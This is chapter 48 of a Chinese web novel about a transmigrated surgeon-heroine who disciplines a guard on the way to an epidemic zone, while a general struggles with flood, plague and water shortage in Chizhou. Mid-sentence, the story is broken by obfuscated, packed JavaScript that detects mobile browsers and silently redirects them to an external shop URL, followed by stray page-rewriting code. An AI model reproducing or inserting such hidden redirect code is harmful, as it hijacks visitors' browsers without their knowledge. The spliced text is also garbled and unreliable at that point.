48. 何去何从
作品:《炮灰女配 不服就干》 杜方远闻言大惊,慌张看向声音来处,发现王妃不知什么时候出了车厢,正居高临下地审视着他。
“王妃!”他急急上前几步,双膝一弯跪在地上,叩首连连,“我再也不敢了!您饶我这次!”
他没想到不经意的一次小小失误,王妃就要赶他回去!那怎么可以!他踌躇满志地出来,是要升职加薪的!
王妃承诺,这次平安回去,每人再赏二百两,表现前三的,可提一级!
眼下都要到目的地了,他却要被赶回明都!他如何丢得起这个脸!
安宁盯着车下连声讨饶的人,神情平静,只问了一句话:“若这些规矩是我父亲定的,你也会这般不放在心里吗?”
“这?”杜方远被问得一怔,一脸没反应过来的迷茫。
“不会,”安宁冷眼觑着他三分装傻,七分糊涂的神色,替他做了回答。
她抬头,扫视所有人,冷声道:“你们也是,若是我父亲定下的规矩,你们不需要解释就会好好遵行。”
众人听她这样说,忙抱拳致歉:“小姐言重!属下愧不敢当。”
“没什么敢当不敢当的,”安宁喝道。
她再次看向杜方远,目光如炬,弦外有音:“你敬我的身份,却不敬我这个人,甚至觉得我一个深闺女子头发长见识短,嘴上叫着救人,却一路都在矫情,还尽使些不入流的后宅手段压制你,我知你心有怨言。”
杜方远睁大眼睛,他被一刀戳中潜匿的心思,顿时脸烧得通红,慌张地埋下头。
他心绪激荡,心虚地想起来时路上,偶尔偷发的牢骚——
“不在后宅老实呆着,却去给王爷添乱。”
“搞这么多劳什子规矩,有什么用?当咱们都是后宅里的丫头婆子,天天还得洗得香喷喷的,不能脏了她的眼!”
“用这些不入流的东西整治咱们,真当自己是打打杀杀的大将军呢,殊不知,尽是些娘们的手段!”
“咱们大老爷们,不欲与她计较罢了!”
……
他不禁偷眼看向身边人,有几个同他一样心虚,平日里,他吐槽,他们也没少跟着附和。
是的,大家都是一样想法,法不责众,小姐不过吓吓他,吓吓他而已,杜方远想。
“诸位也是。”
安宁的声音毫不客气地扫射所有人。
众人闻言,头低得更深。
安宁冷眼看着他们各异的神色,继续道:“想来是我太好性儿,让你们觉得你舍命护我一程胡闹,我就该宽纵一些,睁一只眼闭一只眼。多大的事嘛,松松手也就过去了。”
所有人沉默不语,他们中的确有不少人都揣着这样的心思,只不过心疼钱财,隐而不发罢了。
“对不起,诸位,我想你们错了。”
沉着的女声骤然转厉。
“第一,我江明月不打诳语,我说去救人,就是去救人,我此行,必有千千万万人因我得生!诸位且拭目以待!”
兵士们闻言倒抽一口冷气,纷纷抬头。
必有千千万万人因我得生!
这话何其张狂!
视线交集处,那人眸光沉静,神情坚毅,没有怯懦。
哪怕连日的奔波让她瘦得衣袂飘飘,风吹就倒,但她立在那,却有着不亚于沙场将军的凌然威势!
“第二,我说过,你们守我的规矩,我保证多少人去,多少人回,必不使一人染疫!所以诸位心里预先约给我的救命之恩,且收收吧。”
众人闻言,神情大震,流动的眼色间,心底最隐秘的那点想法,全都暴露无遗——
她竟然都知道!
这一刻,无论转着什么心思,对小姐,他们再不敢有半点轻慢,愈发敬畏起来。
“第三,我江明月,比我父亲更不好说话。”
众人齐齐一哆嗦。
下一秒,那声高悬已久的平地惊雷轻飘飘落入他们耳中——
“刘校尉,把杜方远放在前面的驿馆,留守待命,待回明都,革职去籍!”
革职去籍!
杜方远听到自己的最终判决,整个人刹那一片空白,脑海中只有冷厉无情的四个字在反复回荡——
革职去籍,革职去籍,革职去籍……
不过没洗手,不过用了马的水洗手!
就要把他革职去籍?
他茫然回头,见众兄弟眼中或是同情,或是窃喜,或是欲言又止,一双双情绪复杂的瞳眸中,映着一个被杀掉儆猴的愚蠢公鸡。
无一人替他求情。
“不可以,”杜方远喃喃一声,转向马车,“我不服!”
“我不服,我不服!”
他大声叫嚷着,惊飞一片食腐的鸦鹊。
“不服憋着!”安宁怒道,一甩帘子进了马车。
车外的呼声很快停止,刘校尉命人将杜方远堵了嘴,绑起来清醒。
见对方依旧不停“呜呜”着委屈,他冷哼一声:“早知如此,何必当初?”
说完,便打马整队,重新启程。
再看向那辆摇摇晃晃的马车,刘校尉眼中多了许多欣慰怅然——
真像啊!
他回想着小姐方才说话的神情。
何等狂傲!何等自信!
他仿佛又看到那个年仅十九岁,就敢当着数万精兵说出“我一人,可敌百万雄师”的弱质书生。
江逢春的女儿,合该如此!
狂人本人回到车里,愤愤地一屁股坐下,越想越委屈——
大爷的,不当领导不知道,管理下属真费劲!呜呜呜,师姐,你不在,他们都欺负我!
凝碧觑着小姐阴晴不定的神色,递过水囊给她,示意她喝点消消火。
安宁接过来,拿到嘴边又放下,怒问凝碧:“我就纳了闷了,明知我掌握着他的生杀大权,还来跟我哇哇叫,什么脑回路!”
凝碧眨眨眼睛,想了半天,才慢吞吞回答道:“陈嬷嬷也是这样。”
“陈……”安宁想起第一个被她干倒的对象,一时有些哭笑不得。
傲慢的人眼睛太高,高到眼里只有自己,高到看不清自身处境,甚至高到自身即世界。
可真实的世界不围着任何人转,当有一天世界不按他们的意志转,就有人要付出代价,这代价,也许是自己,也许是他人。
“……所以,学医的人,一定要有颗谦卑的敬畏之心。”这是老师,耳提面命教她的话。
思及此,安宁不由心虚起来——
她是不是也傲慢了?
为了立威,她放出一堆不过脑子的豪言壮语,可真实情况如何,她并不了解。
她真能打好这场仗吗?
这次疫情真的是水源传播吗?
万一是不怕沸水的超级病毒怎么办?
万一她自己也折进去怎么办?
她还没找到回家的办法呢……
马车摇摇晃晃,安宁背对着凝碧躺下,悄悄抹去眼角的一行泪。
来了这么久,她从未像现在这样想念师姐和老头儿,恍惚中,她又想起第一次独立上手术的那天——
师姐串了班,老头特地从京城飞过来,他们挨个摸摸她的头,告诉她:“你可以的。”
看着她生命中最重要的两个引路人,她本能地想缩到他们身后,想撒个娇,让师姐和老头再带她上一台手术。
等下一台,她在自己做。
但老头儿毫不客气地把她踹进手术室。
手术室的电门关闭,她回头,看到满屋准备好的人,一助,二助,巡回,麻醉……
还有躺在台上的患者。
“你可以的,即便自己,也可以。”她安慰自己说。
忐忑的心忽然平静下来。
那台手术非常成功。
你可以的,即便自己,也可以,她口中喃喃,反复念诵,渐渐睡过去。
池州。
萧启明借着烛火看今日统计上来的条陈。
他嘴唇干裂,眉头紧紧蹙着,空气中浮动着一股难以形容的酸腐味道,沉湿的风卷着一阵阵不知是哀声还是呻吟,不停传入他耳中,让他始终静不下心来。
他到了这里才知道,那些递到朝堂上的折子,其中所述情况,竟不及实际万一。
决
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936504|186398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堤,瞒报,贪污,镇反,阻民,大大小小,新新旧旧的错误叠加到一起,终于将这场连绵不绝的春雨发展成无可挽回的洪涝。
直到,富饶的鱼米之乡化作一片泽国,人人艳羡的江南美地成为人间炼狱。
他来到此间,恨得牙痒,他们如何敢!
他第一时间将贪官污吏们下狱斩首。
可大错铸成,于事无补。
他们微薄的鲜血填不饱万千饥民的肚腹,治不好满城病号的恶疾,平不了百姓对朝廷的失望愤怒。
萧启明左支右绌,除了朝廷赈济,不仅散尽了随身携带的家财,更扫光用尽池州饶州两地所有粮药,可情况并未好转。
外地灾民听闻池州有赈,如潮水般涌过来。
灾民如海,朝廷新送来的赈济却慢似抽丝,往往去信十数封,方能运来一二。
每每看到运来的那点打发叫花子的东西,萧启明都想带兵杀入那几城,难道池州的一串脑袋还没让他们警醒却步吗!
不过现如今,最让他心焦的不是粮米药物,而是水!
洪水泛滥过后,池州死伤无数,如今大疫,尸骨盈沟,河井皆被污染,仅有三处山泉水可食。
粮药虽紧,他还可以想办法去要去买,可没有水!人会生生渴死!
百姓饥馁,渴极了便去喝脏水,于是一批批人染疫倒下,接连死去。
他几次去信临近州府,欲运水支援,皆被以各种借口推诿,有人撒谎,有人实话,总不外他们下辖也有众多百姓,池州缺水,他们也缺。
江南大雨,洪涝泛滥,污得不是一地净水,若供应了池州,便不够自己人。
纵使他们同意,满城百姓也不肯通融。
萧启明舔舔嘴唇,指尖无意间点在“百姓”二字上。
这边是人命,那边也是人命。
他纵有重兵在手,一时间,也犯了难。
该怎么办?
征战数年,他无数次身陷困境,从没有哪次如现在灼心,想不出一点解决办法。
他被称大昭战神,却不是真的神,偏这次的“敌人”,是无可违抗的天时。
军师李峤执了柄油纸伞走进来,他在廊下收伞,蹙眉望着头顶铅灰的厚重云层。
“又下雨了?”萧启明的声音在身后传来。
“是。”李峤沉重地回答,他伸手去接愈发急迫的雨丝,看着掌心一窝浅淡的净水,蹙眉叹息,“井水沉了段时间,原可试试饮用了,结果又来场雨,不知又要等多久。”
说完,他低头将那窝水吮到嘴里,干燥的舌根划过一阵清凉,让他干涸的嗓子感到一点舒适。
“军师!”萧启明见他动作,忙走过来想阻止。
李峤用眼神安抚他,道:“无妨,这是新鲜的无根之水。”
“那也不可儿戏!”萧启明声色微恼,之前他们尝试存过雨水,开始还好,不过三五日,存着的雨水便发污发臭,无法饮用。
李峤转身望着天,轻声道出他带来的最新坏消息:“下午又几波灾民来此,共计三百五十四人。”
萧启明现在听到这种消息都麻木了,他十分无奈:“池州这般境况,还聚过来,真是疯了。”
“有何办法?”李峤叹息,“不来饿死,来了,虽有染疫之险,到底有口米粮入腹,总不至于当个饿死鬼。就是这水……”
他又叹一声,连日来,他不知自己叹了多少声,纵饱览群书,满腹智计又如何?
圣贤书化不作救命水,他亦无计可施。
两人相对无言,并肩立在廊下,望天看雨,潇潇大雨砸得地面噼啪作响,掩去满城哀声。
不知过了多久,萧启明忽然开口:“总还有三五日时间。”
“可三五日之后呢?”李峤问。
萧启明没有回答,他仰头看向天际,忽然走进了雨里。
“将军!”李峤惊声叫到。
“我想静一静。”萧启明头也不回地走出门去。
李峤再未阻止,他与萧启明心如明镜。
没有净水,疫情就控制不住,也许再过一个月,整个江南地区都会沦为今日池州……

